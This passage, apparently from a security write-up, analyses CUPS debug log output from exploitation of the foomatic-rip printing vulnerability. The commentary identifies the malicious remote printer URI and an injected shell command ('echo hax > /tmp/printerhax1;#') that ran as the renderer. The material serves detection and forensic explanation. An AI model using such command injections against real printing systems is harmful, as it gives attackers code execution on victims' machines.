+0100] [Job 1] Option: PageSize=A4 D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *cupsPrintQuality Normal D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: cupsPrintQuality=Normal D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%EndSetup D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------- D [27/Sep/2024:15:14:31 +0100] [Job 1] New page: %%Page: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] \"Setup\" section is missing, inserting it. D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"Setup\" section. D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginPageSetup D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"PageSetup\" section. D [27/Sep/2024:15:14:31 +0100] [Job 1] Wrote 1 pages... D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6427 (pstops) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6426 (gs) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] Flushing FIFO. D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\" D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"kid3\" (generation 1) D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"kid4\" (generation 2) D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"renderer\" (generation 2) D [27/Sep/2024:15:14:31 +0100] [Job 1] renderer exited with status 0 D [27/Sep/2024:15:14:31 +0100] [Job 1] JCL: \033%-12345X@PJL D [27/Sep/2024:15:14:31 +0100] [Job 1] <job data> D [27/Sep/2024:15:14:31 +0100] [Job 1] Process is dying with \"Encountered error Broken pipe during fwrite\", exit stat 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Cleaning up... D [27/Sep/2024:15:14:31 +0100] [Job 1] Killing pdf-to-ps D [27/Sep/2024:15:14:31 +0100] [Job 1] kid4 exited with status 0 D [27/Sep/2024:15:14:31 +0100] [Job 1] kid3 finished D [27/Sep/2024:15:14:31 +0100] [Job 1] Killing kid3 D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6420 (/usr/lib/cups/filter/foomatic-rip) stopped with status 1. D [27/Sep/2024:15:14:31 +0100] [Job 1] Hint: Try setting the LogLevel to "debug" to find out more. D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6421 (/usr/lib/cups/backend/ipp) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] End of messages D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state=3(idle) D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state-message="Filter failed" D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state-reasons=none
We can see above that the line D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax"
details the IPP request to the remote attacker’s malicious printer.
We can also see that the line D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\"
details the arbitrary OS command used during the command injection.
- Other: Rapid7 MDR has observed successful exploitation of this vulnerability in customer environments
- Other: Rapid7 MDR has observed successful exploitation of this vulnerability in customer environments
- Other: Rapid7 MDR has observed exploitation of this vulnerability in one or more customer environments
@dhmosfunk this is a great write-up, thank you!